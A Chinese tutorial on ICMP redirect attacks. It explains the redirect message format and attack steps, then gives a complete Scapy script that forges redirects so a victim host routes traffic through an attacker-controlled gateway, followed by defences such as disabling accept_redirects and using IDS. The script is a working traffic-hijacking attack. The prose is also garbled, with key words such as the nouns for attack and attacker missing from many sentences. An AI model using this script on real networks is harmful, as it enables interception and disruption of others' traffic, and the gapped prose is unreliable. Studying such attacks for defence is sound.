使用 Scapy 库编写 ICMP 重定向脚本

简介: 使用 Scapy 库编写 ICMP 重定向脚本

一、介绍

ICMP重定向(ICMP Redirect Attack)是一种网络,通过发送伪造的ICMP重定向消息,诱使目标主机更新其路由表,以便将数据包发送到控制的路由器或其他不可信任的设备上。该利用了ICMP协议的合法功能,但以恶意方式使用,从而劫持或中断目标主机的网络流量。

1.1 ICMP重定向消息的工作原理

ICMP(Internet Control Message Protocol,互联网控制消息协议)是一种用于传递控制消息的协议,主要用于报告网络设备之间的通信问题。ICMP重定向消息用于通知主机,数据包可以通过一个更好的路径传输,从而优化网络流量。典型的ICMP重定向消息格式如下:

  • 类型(Type):5(表示ICMP重定向消息)
  • 代码(Code)
  • 0:用于网络的重定向
  • 1:用于主机的重定向
  • 2:用于服务类型和网络的重定向
  • 3:用于服务类型和主机的重定向
  • 校验和(Checksum):用于检测错误的校验和
  • 网关IP地址(Gateway Address):建议的数据包应发送到的新路由器的IP地址
  • 数据:包含原始数据包的IP头和前8个字节,以便目标主机识别被重定向的会话

1.2 ICMP重定向攻击的步骤

  1. 捕获合法数据包:首先在网络上嗅探流量,捕获目标主机和合法路由器之间的通信。
  2. 伪造ICMP重定向消息:构造一个伪造的ICMP重定向消息,指定目标主机应将特定数据包发送到控制的设备。
  3. 发送ICMP重定向消息:攻击者将伪造的ICMP重定向消息发送到目标主机,诱使目标主机更新其路由表。
  4. 或中断流量:一旦目标主机更新了其路由表,可以或中断目标主机的网络流量。

二、实验环境

攻击者:192.168.134.147

受害者 A:192.168.134.148

受害者 B:192.168.134.149

三、实操演示

以下示例代码展示了如何使用Scapy构造和发送伪造的ICMP重定向消息

from scapy.all import *
from scapy.layers.inet import ICMP
 
 
def icmp_redirect_attack(target_ip, target_gateway, new_gateway):
    # 构造ICMP重定向消息
    ip = IP(src=target_gateway, dst=target_ip)
    icmp = ICMP(type=5, code=1, gw=new_gateway)  # code 1 表示主机重定向
    original_packet = IP(src=target_ip, dst="192.168.134.149") / ICMP()  # 假设目标主机要访问 192.168.134.149
    icmp_redirect = ip / icmp / original_packet
 
    send(icmp_redirect)
    print(f"Sent ICMP redirect from {target_gateway} to {target_ip} with new gateway {new_gateway}")
 
 
if __name__ == "__main__":
    target_ip = "192.168.134.148"  # 目标主机的IP地址
    target_gateway = "192.168.134.2"  # 目标主机当前的网关
    new_gateway = "192.168.134.147"  # 伪造的新网关(攻击者控制的设备)
    icmp_redirect_attack(target_ip, target_gateway, new_gateway)

受害者 A 接受到了伪造的 ICMP 包

四、防御措施

防御ICMP重定向的措施主要包括以下几点:

禁用ICMP重定向消息:在主机和路由器上禁用ICMP重定向消息,以防止接收和处理重定向消息。这可以通过配置操作系统参数来实现,例如在Linux系统上,可以将/proc/sys/net/ipv4/conf/all/accept_redirects和/proc/sys/net/ipv4/conf/default/accept_redirects设置为0来禁用ICMP重定向。


配置防火墙规则:使用防火墙规则过滤和阻止ICMP重定向消息。管理员可以在防火墙上添加规则,以丢弃或拦截传入的ICMP重定向消息。


启用安全特性:启用网络设备上的安全特性,如动态ARP检查(Dynamic ARP Inspection,DAI)和IP Source Guard,以防止网络。这些特性可以帮助检测和阻止恶意ARP和IP地址行为,从而提高网络的安全性。


网络设备升级和配置审查:定期升级和维护网络设备的固件或软件,并对设备的配置进行审查和调整。确保设备上运行的软件版本没有已知的安全,并且配置符合最佳安全实践。


监控和报警:使用检测系统(Intrusion Detection System,IDS)和防御系统(Intrusion Prevention System,IPS)来监控网络流量,并在检测到可疑的ICMP重定向消息或其他攻击行为时触发警报。及时发现并应对恶意活动可以有效地减少造成的损失。


通过综合使用上述防御措施,可以有效地保护网络免受ICMP重定向和其他网络的影响,提高网络的安全性和稳定性  


相关文章
|
网络协议 网络架构
网络协议与攻击模拟-06-ICMP重定向
网络协议与攻击模拟-06-ICMP重定向
191 0
|
4月前
|
监控 安全 网络安全
使用 Scapy 库编写 ICMP 时间戳脚本
使用 Scapy 库编写 ICMP 时间戳脚本
使用 Scapy 库编写 ICMP 时间戳脚本
|
4月前
|
监控 安全 网络安全
使用 Scapy 库编写 ICMP 洪水脚本
使用 Scapy 库编写 ICMP 洪水脚本
使用 Scapy 库编写 ICMP 洪水脚本
|
4月前
|
监控 安全 网络安全
使用 Scapy 库编写 ICMP 不可达脚本
使用 Scapy 库编写 ICMP 不可达脚本
|
Shell iOS开发
|
2月前
|
网络协议 Unix 网络架构
网际控制报文协议ICMP
网际控制报文协议(ICMP)是TCP/IP体系结构中网际层的关键组件,用于提高IP数据报的成功传输率。ICMP主要处理两类报文:差错报告报文与询问报文。前者包括终点不可达、源点抑制、时间超过、参数问题及重定向等五类;后者则涵盖回送请求/回答及时间戳请求/回答。ICMP广泛应用于检测网络连通性的PING工具和追踪数据包路径的traceroute工具中。两者分别利用ICMP的回送请求报文及差错报告报文实现功能。
77 10
|
6月前
|
存储 网络协议 算法
基于 Wireshark 分析 ICMP 协议
基于 Wireshark 分析 ICMP 协议